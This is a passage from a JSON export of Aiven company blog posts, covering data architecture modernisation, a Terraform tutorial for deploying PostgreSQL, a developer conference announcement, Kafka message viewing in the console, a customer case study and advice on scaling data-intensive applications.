what’s currently available at your company.\n### Functional design\nWith functional design in this context we mean an architecture that is easy to use and easy to maintain. \n\nYou want to enable your users to collaborate freely. They don't need any extra hassle about credentials and compatibility. Managed services typically offer SSO out of the box and all their services play nice together. This gives your users access to the entire ecosystem.\n\nAnd as to flexible data structures, having datastores that don’t need updating or downright break when data structures evolve is as functional as it gets. \n\nAnd as we may have mentioned before, [a managed cloud service like Aiven’s is unparalleled in terms of ease of maintenance load](https://aiven.io/blog/dbas-shouldnt-be-afraid-of-managed-services \"Blog post: Database Admins shouldn't be afraid of managed services\").\n\n## Wrapping up\nDismantling your classically constructed (and beautiful!) corporate Venice may be rather heartbreaking. But when you do, you get to move to a contemporary environment. That modern space will be open, extendable, efficient, transparent, clean and above all built to match the needs of your business. You’ll be able to achieve your current goals more quickly and more cheaply. What’s more, you can change the direction of your business and reformulate new goals much more flexibly than before. Get off the gondola and board the managed open-source service speedboat now!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac-1567x844-png","_type":"reference"}},"publishedAt":"2021-01-26T00:00:00.000Z","seo":{"metaDescription":"Ancient corporate data architectures do not support modern business goals. Modernize your data environment now.","metaImage":{"alt":"","asset":{"_ref":"image-4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac-1567x844-png","_type":"reference"}},"metaTitle":"Building a modern data architecture"},"slug":{"_type":"slug","current":"/blog/building-a-modern-data-architecture"},"subtitle":"Ancient corporate data architectures do not support modern business goals. Modernize your data environment now.","title":"Building a modern data architecture"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5gTp13pYjOThOf6JmmuhGu","_rev":"dsxJlHxlnt5nZt5n1yRd7G","_type":"post","_updatedAt":"2023-06-08T12:10:39Z","authors":[{"_key":"7jvTwkcIsfjUdBxnDaw00U","_ref":"7jvTwkcIsfjUdBxnDaw00U","_type":"reference"}],"body":"In the dawn of prehistory, infrastructure teams managed their systems by physically logging into each machine. Nowadays, with Terraform, infra teams can make changes to entire datacenters at once with a few lines of configuration code, in a versionable, reproducible, and predictable way.\n\nFor example, you can use the [Aiven's CLI](https://github.com/aiven/aiven-client) to deploy a PostgreSQL database on GCP:\n\n```bash\n$ avn service create --service-type pg --plan startup-4 --cloud google-europe-west3 postgresql\n```\n\nAnd you can achieve the same with Terraform code:\n\n```hcl\nresource \"aiven_pg\" \"postgresql\" {\n project = \"my-project-name\"\n service_name = \"postgresql\"\n cloud_name = \"google-europe-west3\"\n plan = \"startup-4\"\n}\n```\n\nLuckily, Aiven develops and maintains its own [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs). With it, users can manage their entire open source data infrastructure with Terraform.\n\nToday, our challenge is to get a **PostgreSQL database** up and running. Let's get to it. Here's the high-level process:\n\n1. [Configure your Aiven account](#1-configure-your-aiven-account)\n2. [Set up Terraform](#2-set-up-terraform)\n3. [Configure the Aiven Provider](#3-configure-the-aiven-provider)\n4. [Give me databases!](#4-give-me-databases)\n\n Note: Terraform can be very picky about the resources it manages. If you create an Aiven service with Terraform, avoid changing it manually through other tools, like the Aiven Console or CLI.\n\n## 1. Configure your Aiven account\nFirst, you will need an Aiven API access token to authenticate with Terraform.\n\nLog in to the [Aiven platform](https://console.aiven.io/login). If you don't have an account, [sign up](https://console.aiven.io/signup) and take advantage of our free trial. It's worth it, I promise.\n\nThen you can follow [our documentation](https://help.aiven.io/en/articles/2059201-authentication-tokens) to generate your authentication token.\n\nAlso, note down your Project Name (located on the upper left side of the page).\n\n![project name](//cdn.sanity.io/images/sczeoy4w/production/58fe4790930f9ed69ba14795a7b608df886b7c36-788x268.png \"Project name\")\n\n## 2. Set up Terraform\nGo to the [Terraform page](https://www.terraform.io/downloads.html) and download the latest Terraform CLI for your platform – you're going to need version v0.13.0 or newer. You can check your installation by running the following command:\n\n```bash\n$ terraform version\nTerraform v0.15.3\n```\n\n## 3. Configure the Aiven Provider\nTerraform Providers are plugins that connect the power of Terraform with external services and cloud providers. We will now bootstrap our Terraform codebase using the Aiven Terraform Provider. Check the [official Aiven documentation](https://registry.terraform.io/providers/aiven/aiven/latest/docs) for more details on each resource.\n\nCreate a new directory for your project and add a file named `main.tf` with the content below:\n\n```hcl\nvariable \"aiven_api_token\" {\n type = string\n}\n\nvariable \"aiven_project_name\" {\n type = string\n}\n\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"2.1.12\" # check out the latest release in the docs page\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n\ndata \"aiven_project\" \"my_project\" {\n project = var.aiven_project_name\n}\n```\n\nIn the two first blocks, we define variables to receive the previously created Aiven access token and Project Name. The next two blocks configure the Provider. Lastly, we use a [data source](https://www.terraform.io/docs/language/data-sources/index.html) to retrieve all the information regarding the project.\n\nNote: You can also create Aiven Projects with the `aiven_project` resource.\n\nCreate another file named `terraform.tfvars` to add the Aiven access token and Project Name:\n\n```hcl\naiven_api_token = \"your_access_token_here\"\naiven_project_name = \"your_project_name_here\"\n```\n\nFinally, initialize Terraform (command output shortened for brevity):\n\n```bash\n$ terraform init\n```\n\n## 4. Give me databases!\nAlright, enough setup, Let's deploy some databases, starting with [Aiven for PostgreSQL](https://aiven.io/postgresql).\n\n**Beware!** Terraform is exceptionally efficient in creating *and destroying* resources. With databases, every resource removal may result in data loss. In a production environment, read the Terraform plan output carefully before applying it.\n\nFirst, we will add the `aiven_pg` resource in the `main.tf` file:\n\n```hcl\nresource \"aiven_pg\" \"postgresql\" {\n project = data.aiven_project.my_project.project\n service_name = \"postgresql\"\n cloud_name = \"google-europe-west3\"\n plan = \"startup-4\"\n\n termination_protection = true\n\n pg_user_config {\n pg_version = 13\n admin_username = \"admin\"\n\n pgbouncer {\n autodb_max_db_connections = 200\n }\n }\n}\n\noutput \"postgresql_service_uri\" {\n value = aiven_pg.postgresql.service_uri\n sensitive = true\n}\n```\n\nHere, we have configured the database location, size and parameters. The Aiven website tells you [more about clouds, plans and pricing](https://aiven.io/pricing) and all the PostgreSQL related configurations can be found in the [official Terraform documentation](https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/pg).\n\nAlso, the `termination_process` parameter guarantees that Terraform won't delete the resource until the user sets the flag to `false`.\n\nAt the end, Terraform will output the PostgreSQL connection string.\n\nIn your terminal run `terraform plan` and see what it will create for us:\n\n```bash\n$ terraform plan\n[...]\n\nTerraform will perform the following actions:\n\n # aiven_pg.postgresql will be created\n + resource \"aiven_pg\" \"postgresql\" {\n + cloud_name = \"google-europe-west3\"\n + components = (known after apply)\n + id = (known after apply)\n + plan = \"startup-4\"\n + project = \"your_project_name_here\"\n + service_host = (known after apply)\n + service_name = \"postgresql\"\n + service_password = (sensitive value)\n + service_port = (known after apply)\n + service_type = (known after apply)\n + service_uri = (sensitive value)\n + service_username = (known after apply)\n + state = (known after apply)\n + termination_protection = true\n\n + pg {\n + dbname = (known after apply)\n + host = (known after apply)\n + password = (sensitive value)\n + port = (known after apply)\n + replica_uri = (sensitive value)\n + sslmode = (known after apply)\n + uri = (sensitive value)\n + user = (known after apply)\n }\n\n + pg_user_config {\n + admin_username = \"admin\"\n + pg_version = \"13\"\n\n + pgbouncer {\n + autodb_max_db_connections = \"200\"\n }\n }\n }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n + postgresql_service_uri = (sensitive value)\n\nNote: You didn't use the -out option to save this plan, so Terraform can't guarantee to take exactly these actions if you run \"terraform apply\" now.\n```\n\nThe command output tells how the Terraform plan looks like and what changes will be made. Please, for all that is holy, do a sanity check before applying it with the next command:\n\n```bash\n$ terraform apply\n[...]\n\naiven_pg.postgresql: Creating...\naiven_pg.postgresql: Creation complete after 4m38s [id=my_project/postgresql]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\npostgresql_service_uri = \u003csensitive\u003e\n```\n\nAwesome, our PostgreSQL is up and running. Now let's try to access it with `psql` using the `postgresql_service_uri` output:\n\n```bash\n$ psql \"$(terraform output -raw postgresql_service_uri)\"\npsql (13.2)\nSSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)\nType \"help\" for help.\n\ndefaultdb=\u003e\n```\n\nThis is everything you need to have a production-ready PostgreSQL server at GCP, managed by Aiven and deployed with code. Cool, right?!\n\nNext, read the sequel [Observe your PostgreSQL metrics with Terraform, InfluxDB and Grafana](https://aiven.io/blog/observe-your-postgresql-metrics-with-terraform-influxdb-and-grafana \"Observe your PostgreSQL metrics with Terraform, InfluxDB and Grafana\")!\n\n## Wrapping up\nI hope you enjoyed this ride with me. Terraform and infrastructure as code can be daunting at first, but once we see all of its benefits, it's hard to move away from it.\n\nPlease check [Aiven's Terraform GitHub repository](https://github.com/aiven/terraform-mgmt-sample) to see the whole code and any future updates for it.\n\nIf you want to learn more about the tools and services used here, make sure to check the links below:\n\n- [An introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql)\n- [Introduction to Terraform](https://www.terraform.io/intro/index.html)\n\nIf you have any issues with Aiven's Terraform Provider or want to help us improve it, please check the [GitHub repository](https://github.com/aiven/terraform-provider-aiven) and the [official documentation](https://registry.terraform.io/providers/aiven/aiven/latest/docs).\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"2qto4I26D9dTmL2jF7YDqZ","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e94c3169e42d626342b5242a122545e3df2f7661-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-03T00:00:00.000Z","seo":{"metaDescription":"Terraforming is hard and long-term, but using Terraform is the exact opposite. Read to find out how to manage your Aiven databases with this cool tool!","metaImage":{"alt":"","asset":{"_ref":"image-e94c3169e42d626342b5242a122545e3df2f7661-1567x844-png","_type":"reference"}},"metaTitle":"Aiven databases and Terraform for fun and profit"},"slug":{"_type":"slug","current":"/blog/aiven-databases-and-terraform-for-fun-and-profit"},"subtitle":"Terraforming is hard and long-term, but using Terraform is the exact opposite. Read to find out how to manage your Aiven databases with this cool tool!","title":"Aiven databases and Terraform for fun and profit"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"4B2wRmNYrwgmE7mgpWMED9","_rev":"cEPH2uRN58AU2lp9QO8HFZ","_type":"post","_updatedAt":"2022-09-08T16:29:12Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"You may have heard [the news](https://twitter.com/aiven_io/status/1489237310600327171 \"Tweet about Aiven hosting Uptime\") that we are hosting a developer conference this September, called __Uptime__. In this blog post, we’ll go over some of the frequently asked questions about the conference and its target audience. Before we jump into the details, a quick PSA: The __Call for Presentations__ for Uptime is open, so if you already have a talk idea in mind, submit it by __March 9__ via the [CFP form](https://sessionize.com/uptime-conference-2022/ \"Uptime CFP form\"). \n\n## What is Uptime?\n\nUptime is the __cloud data infrastructure conference with a focus on open source technologies__. We intend to bring the open source data community together to share best practices and around building and operating complex systems at scale. \n\nThis is a developer conference and, as self-identified total geeks, we want to pack in as much technical content as possible. Of course, as it’s an in-person event, we’ll leave plenty of time for social interaction and stimulating conversations!\n\nThe event is happening on September 14-15 at [Pakhuis de Zwijger](https://dezwijger.nl/ \"Pakhuis de Zwijger\") in Amsterdam (the website is mostly in Dutch, sorry about that, unless you speak Dutch in which case you’re welcome). The venue is quite easily accessible by car and public transport, and it has hosted many technical events before us. \n\n## Who is Uptime for?\n\nThe conference is designed for developers, architects, data engineers, DevOps professionals, and anyone who is passionate about open source data. The focus is on use cases for open source tools like PostgreSQL®, Apache Kafka®, Redis™, Apache Flink®, and Grafana®, and best practices in the data engineering space and cloud infrastructure. \n\nHere are some of the topics we plan to cover:\n- Cloud data architecture\n- Data engineering \n- Distributed systems\n- Developer tools (Observability, monitoring and alerting, SRE and performance) \n\n## Sounds interesting. How can I participate?\n\nWe have recently launched the [Call for Presentations](https://sessionize.com/uptime-conference-2022/ \"Uptime Call for Presentations\") and are looking forward to receiving your compelling ideas! Our main priority is to provide the audience with the best possible learning experience, so the content is key to this event. We’re looking for your most exciting and informative talks on open source data tools, so if you have a proposal, submit it via the [CFP form](https://sessionize.com/uptime-conference-2022/ \"CFP form\") by __March 9, 2022.__ \n\nEven if you’re a first-time speaker or don’t have a specific idea in mind yet, don’t hesitate to take the leap. Don’t worry too much about whether we’ll accept your proposal - just submit it anyway and leave the rest to us. Our team is here to support you throughout the submission process, Reach out to us via __uptime-speakers@aiven.io__ - we’d be happy to help you brainstorm ideas and offer guidance.\n\n## Wrapping up\n\nWe hope this sparks your interest in attending and/or speaking at Uptime this fall. If you need more information about the event, you can always reach us via __uptime-hello@aiven.io__. Hope to see you in September in Amsterdam! \n\nFollow us on Twitter for updates on the event: [https://twitter.com/uptimecon](https://twitter.com/uptimecon \"Uptime Twitter\").","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844-png","_type":"reference"}},"publishedAt":"2022-02-18T00:00:00.000Z","seo":{"metaDescription":"Uptime Conference in Amsterdam, September 14-15, 2022. Come and meet the open source data community in-person and talk about all things data in the cloud! ","metaImage":{"alt":"","asset":{"_ref":"image-b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844-png","_type":"reference"}},"metaTitle":"Introducing the Uptime Developer Conference by Aiven"},"slug":{"_type":"slug","current":"/blog/introducing-the-uptime-developer-conference-by-aiven"},"subtitle":"Uptime Conference in Amsterdam, September 14-15, 2022. Come and meet the open source data community in-person and talk about all things data in the cloud! ","title":"Introducing the Uptime Developer Conference by Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5jnJq8jTzNWJjzYkjk9GAg","_rev":"cEPH2uRN58AU2lp9QO7rS5","_type":"post","_updatedAt":"2022-09-08T16:20:26Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Apache Kafka users need a quick and easy way to view the state of their message queues and see if recent messages are being ingested correctly. Previously, you’d have needed external tools, monitoring systems, or APIs to view messages residing on a specific Kafka topic.\n\n\u003e Now you can view Kafka messages live in the Aiven Console. \n\nViewing the message queues dynamically in the console allows [Aiven for Apache Kafka](/kafka) users to get a feel for their data, as well as troubleshoot their event streams, content and schema. \n\nThe message-viewing feature comes with the ability to sort messages by location, partition, offset, timeout and maximum size. This adds simplicity and provides a degree of granularity useful for troubleshooting complex message queues. \n\n## How to use Aiven Console to produce and view messages\n\nMessages written to Aiven for Apache Kafka topics appear under the Topics section of your Kafka instance in the Console. Let’s generate a few messages to show how the feature works.\n\n### Viewing messages from the console\n\nNOTE: You’ll need an Aiven for Apache Kafka Business-4 plan or better to see Kafka messages in Aiven Console. And you’ll need to enable Kafka REST API to use the feature, as follows:\n\n![Viewing Apache Kafka messages in the Aiven Console, step 1](//cdn.sanity.io/images/sczeoy4w/production/1fc8aa443f14ae12b879a8561ab6892cff5d6ead-1438x706.gif)\n\nIn the “Topics” tab on Aiven Console, create a couple of topics, for example ```jsontest``` and ```other_topic```: \n\n![Viewing Apache Kafka messages in the Aiven Console, step 2](//cdn.sanity.io/images/sczeoy4w/production/11020ef0db0731ea5bb40fe45d0f470b7a028b22-1438x812.gif)\n\nNow, let’s try producing and viewing messages directly from the ```jsontest``` topic from within Aiven Console. First, click \u003cspan\u003e![Show messaged icon](//cdn.sanity.io/images/sczeoy4w/production/29b8eea208089cfaad6fd12e99ce7b46f160e01c-72x47.png)\u003c/span\u003e icon in the ```jsontest``` topic row — this will expand the message view window. \n\nNext, press the \u003cspan\u003e![produce message dialogue button](//cdn.sanity.io/images/sczeoy4w/production/237078fb9c0c977005d56a04a6f617db424f6491-151x41.png)\u003c/span\u003e button to invoke the Produce Message dialog. Enter a valid JSON message and value, and hit \u003cspan\u003e![Produce message execution button](//cdn.sanity.io/images/sczeoy4w/production/adb0690d08c8338373f3cdacbdb43ab54f1d1d60-94x43.png)\u003c/span\u003e. Once you are looking at the message view again, just hit \u003cspan\u003e![Fetch messages button](//cdn.sanity.io/images/sczeoy4w/production/f8b1a160df835c957fd9f3b0dd3728883d493f59-139x47.png)\u003c/span\u003e to update the list.\n\nHere’s how that looks altogether:\n\n![Viewing Apache Kafka messages in the Aiven Console, step 3](//cdn.sanity.io/images/sczeoy4w/production/62a750c901228e1a6e86dcb1d2eb548897e95823-1428x877.gif)\n\nOf course, the messages would also appear here if you’d piped them in from a producer, or used, for example ```curl``` to generate new messages to your topic. (You’d simply press the \u003cspan\u003e![Fetch messages button](//cdn.sanity.io/images/sczeoy4w/production/f8b1a160df835c957fd9f3b0dd3728883d493f59-139x47.png)\u003c/span\u003e button to refresh the list.)\n\n## Wrapping up\n\nThe ability to produce and fetch messages from within the Aiven Console makes it a lot easier for Kafka users to test their clusters, event streams, and topic configurations. These troubleshooting tools remove some of the guesswork and extra tooling needed for users to get a feel for their data as it moves through their messaging queue.\n\nAiven for Apache Kafka is a work in progress, so we’ll always be adding new features. Remember subscribe to our [changelog](/changelog/feed.xml) and [blog](/blog/feed.xml) RSS feeds, or follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) to stay up-to-date.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-c74c3812d56d5d2d6ebc38fff959c4fb204bd496-1567x844-png","_type":"reference"}},"publishedAt":"2020-04-28T00:00:00.000Z","seo":{"metaDescription":"Viewing Apache Kafka® messages live from the Aiven Console provides a host of benefits. Find out what they are and how to set it up in this post.","metaImage":{"alt":"","asset":{"_ref":"image-c74c3812d56d5d2d6ebc38fff959c4fb204bd496-1567x844-png","_type":"reference"}},"metaTitle":"View Apache Kafka® messages live in the Aiven Console"},"slug":{"_type":"slug","current":"/blog/kafka-messages-ui-announcement"},"subtitle":"Viewing Apache Kafka® messages live from the Aiven Console provides a host of benefits. Find out what they are and how to set it up in this post.","title":"View Apache Kafka® messages live in the Aiven Console"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1zFmZEUwouNf244n9VtbQK","_rev":"V5UdSzFEWrLT7ZlMFOAcZ3","_type":"post","_updatedAt":"2023-08-03T10:36:48Z","authors":[{"_key":"2ok23v2W1SP3fLku5nUSJ6","_ref":"2ok23v2W1SP3fLku5nUSJ6","_type":"reference"}],"body":"Founded in 2013, Ometria has grown to serve the needs of hundreds of retail marketers. The company delivers detailed insights about their customers used to create personalized marketing experiences through Ometria’s marketing platform.\n\nTo deliver these insights, Ometria gathers and analyzes consumer data from a customer’s various data sources. As Ometria continued to grow, so did their data volumes, and their existing setup with AWS’ RDS started to show considerable weaknesses. CTO Al James explains:\n\n\u003e We saw very spiky performance on RDS for the analytical style queries and we ended up in a situation where we were increasing provisioned IOPS all the time to try to stabilize it. It's very expensive because we ended up paying for a massive workload.\n\nWith Aiven for PostgreSQL, Ometria has overcome their data challenges, and reduced infrastructure cost is only one of the advantages they gained. Download the full case study below to find out how Aiven’s PostgreSQL solution helped Ometria secure the scalability of their business and continue to grow.\n\nFor more Aiven case study summaries, check out the [Aiven case studies](https://aiven.io/case-studies) page. And don’t forget to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n\n[![Ometria-CS-CTA](//cdn.sanity.io/images/sczeoy4w/production/f80b717ee326fd432d9719bd944c45cd74ddebb1-1600x471.png)](/case-studies/aiven-for-postgresql-helps-ometria)","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-34ab4ff17bb5477849853b4ef08339b19e7ffcb1-1567x844-png","_type":"reference"}},"publishedAt":"2020-10-07T00:00:00.000Z","seo":{"metaDescription":"Find out why Ometria chooses Aiven for PostgreSQL over Amazon’s RDS to power their retail marketing platform.","metaImage":{"alt":"","asset":{"_ref":"image-34ab4ff17bb5477849853b4ef08339b19e7ffcb1-1567x844-png","_type":"reference"}},"metaTitle":"Ometria delivers customer insights faster with Aiven [Case Study]"},"slug":{"_type":"slug","current":"/blog/ometria-and-aiven-case-study"},"subtitle":"Find out why Ometria chooses Aiven for PostgreSQL over Amazon’s RDS to power their retail marketing platform.","title":"Ometria delivers customer insights faster with Aiven [Case Study]"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2buJjGffFsGlM8WYzORUIs","_rev":"wguC7mbo0o2K8r1KhmaT4F","_type":"post","_updatedAt":"2023-05-16T11:23:29Z","authors":[{"_key":"2Ryrx752TTp7pQatYrn0lw","_ref":"2Ryrx752TTp7pQatYrn0lw","_type":"reference"}],"body":"Let's talk about five hard truths for scaling data intensive applications.\n\nThe principles covered in this article are things that we've learned through experience and through talking to people on our network, helping customers scale data workloads in the cloud. We'll go through the whole thought process, from how to make sure you're working on the right things all the way through to how to set yourself up for success.\n\nWe want to make sure that you but also the ecosystem of tooling and companies that support you are successful.\n\nFor each of the principles, we'll talk about a mindset or a quote that helps you think about the problem differently. And we'll ask you a couple questions that you should really challenge yourself and your team with.\n\n![The Big Five](//cdn.sanity.io/images/sczeoy4w/production/eab50bb3d577164d875f0b1499af24194983b214-2500x1667.png)\n\n## 1. Limit the scope\n\nYou want to make sure that you're working on the right problems and focusing on customer pain. And I always go back to the mindset that I had in college of get it working, keep it working. And this goes right along with the concept of MVP that relates to working in a startup: *Minimum Viable Product*. Define what's needed, define the problem you're trying to solve and focus in on the customer pain. That's what's going to drive revenue.\n\nThe challenging questions that I like to ask my customers or my friends with startups is what's growing faster:\n\n- Your code base and your product backlog?\n- Or your customer base and your revenue?\n\nMake sure you're taking a step back and not just building the fun, fancy features. Ensure you're really focusing on customer first. Don't design and build in a vacuum. Make sure that the feedback loop is tight and implemented well.\n\n## 2. Know your limits and your runway\n\nOnce you designed the solution, you really need to design the customer experience - and make sure you do it on purpose. In software engineering and software architecture, there's the concept of a *runway*: knowing how much time you have left with the application system or knowing how much capacity you have left.\n\nThink of the process of building a solution as an airplane sitting on a runway. You start rolling, going to take off, and as you go faster and faster, there's a point where you need to make a decision: to step on the brakes, so that you have enough time and room to stop, pivot and turn onto the taxiway - or to fully commit to taking off.\n\nAnd the important thing is you need to have all the information necessary upfront to make that decision. You don't want to wait until you're at that spot to make the decision.\n\nAnd the same is true with software architecture. And you want to make sure that you have all the capacity, all the information, all the observability, all the traceability, all the information before you have to make that decision. Don't be surprised by it.\n\nAnd the question I'd like to challenge my customers and friends with is:\n- How many customers are too many?\n- When is a customer too big?\n\nAs far as how many customers is too many is concerned, I like to think of orders of magnitude, that is, multiples of 2X, 10 X, 100 X overnight. If your customer base doubled in size, what would break?\n\nWhen you start talking about 10 X overnight, at that point, it's usually what's *not* going to break, what system is actually going to stand up, what infrastructure is going to stand up. And you start some interesting conversations about indexing strategies or sharding strategies or auto-scaling strategies.\n\nAnd you realize that you may have certain blind spots. And then again, if your customers increase 100 X overnight, if you think about the system that can handle that load - what does that even look like? Are you even headed in the right direction to be able to scale to that? Do you have the patterns and processes in place to be able to scale to that volume? That's an example of horizontally scaling.\n\nOn the other hand, how big a customer is _too_ big? Is there a case where a customer has too much data, too many users interactions with your application? How do you define \"too big\" from the application point of view? How's that going to affect your database tables, your infrastructure decisions... What is going to break? If you take your largest customer and imagine that 10 X, then 100 X, what's going to happen in those cases?\n\n## 3. Observability!\n\nOnce you define a scaling strategy, you need to make sure that you have systems in place to observe that. Make sure that you mind your blind spots. Do not make assumptions that everything's okay.\n\nIf you don't know, assume the worst, know where you are and take those by taking those measurements. And remember, capacity and stability are not a Boolean state. It's a continuum. You're rolling down the runway. When are you at the point where you have to make a decision and do you have all the information necessary?\n\nDon't be surprised when you're at the end of the runway and you're not going fast enough or you don't have the flaps out, make sure you have everything in place and know where you are.\n\nThe difficult question that I really like to ask, honestly, it goes back to intelligence:\n\n- Do you know what you don't know?\n- Where are your blind spots?\n- What are you not measuring?\n\nAnd then also once, once you've identified some of those blind spots, or maybe even when you're trying to think of them, which looming decisions would be the most disruptive?\n\nMake sure you're measuring those, see all the information necessary, you know, where you are on that runway.\n\nAnd it's really hard to get right. But don't let it seem like too big of a task.\n\n## 4. Integrations and tooling are underrated\n\nThere's a whole ecosystem of tooling and integrations around almost every technology, every program and framework, every cloud. There's a lot of really smart people out there that want to make this easier. They like solving difficult problems, and your problems aren't new.\n\nIf you're a developer, you've been on Stack Overflow, and you've seen the posts from two, three years ago, searching the exact area you're searching. This goes back to standing on the shoulder of giants. Use what's there - don't feel like you always have to come up with your own solution, doing things the hard way.\n\nRemember the most expensive part of the cloud is between the keyboard and the chair.\n\nSo the difficult question, which I always like to ask is: *How do you make money*? What does your company do that pulls in revenue? Is it running your own Kubernetes cluster? Is it managing your own premises data center? Is it building your own logging framework?\n\nI ask those silly questions because I've worked at companies that have done all of those things. Did that give us an advantage in the end? I don't know. You really have to answer that question for yourself.\n\nAnd then, if those things aren't earning you money - why do you do that? What advantage does it give you? Are you even getting an advantage? Are you losing out on opportunity cost by not using those engineering resources better?\n\nRemember, there's a time and a place to choose build versus buy, use frameworks or outsource or build your own solution. But you need to know when that time is, and that place.\n\nKeep that in mind and set yourself up for success. Above all, remember, it's an ecosystem. You live in the tech community.\n\n## 5. Mutual success above all\n\nThere's a quote floating around the internet: if you want to go fast, go alone. If you want to go far, go together. And that's also true with tech products. Being able to leverage the expertise of others, whether it's hiring new expertise and bringing that in-house, whether that's relying on a consulting firm's professional services, or if that's using a managed service provider, make sure that you know what's going to give you advantage and how you can best use that.\n\nRealize that, at the end of the day, your vendors or your managed service provide a service in exchange for money. So the questions I like to ask are:\n\n- How do they make that money?\n- How do they grow?\n- What are their goals with you?\n\nAre there goals to just grow your account a hundred percent year over year, or are there different mechanisms to define mutual success? Think about how that affects your relationship.\n\n## Aiven works on the right things\n\nAt Aiven, we strive every day to work on the right things, knowing where we are. We try to put all these principles that we talked about in place so that not only are we successful, but also our customers, our vendors, all the supporting platforms we build on top of, are successful, too.\n\n## Wrapping up\nAiven's a Database As A Service platform, and we're built by developers for developers to make developers' lives better. Just like out in the industry, there's a lot of smart people working in Aiven. There's a lot of smart people _using_ Aiven services. \n\nTo partner with smart people to solve difficult problems, [start a free trial](https://console.aiven.io/signup) and reach out to the experts at Aiven. Let's work on the really hard problems together.\n\n--\n\nCome and follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-9a6779f1f883d6ebad01d81ef859f2a209fc7c91-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-14T00:00:00.000Z","seo":{"metaDescription":"Join David Esposito as he gives you the low-down on building data architectures that stand up even under the largest loads.","metaImage":{"alt":"","asset":{"_ref":"image-9a6779f1f883d6ebad01d81ef859f2a209fc7c91-1567x844-png","_type":"reference"}},"metaTitle":"5 hard truths about scaling data intensive applications"},"slug":{"_type":"slug","current":"/blog/5-hard-truths-about-scaling-data-intensive-applications"},"subtitle":"Join David Esposito as he gives you the low-down on building data architectures that stand up even under the largest loads.","title":"5 hard truths about scaling data intensive applications"} 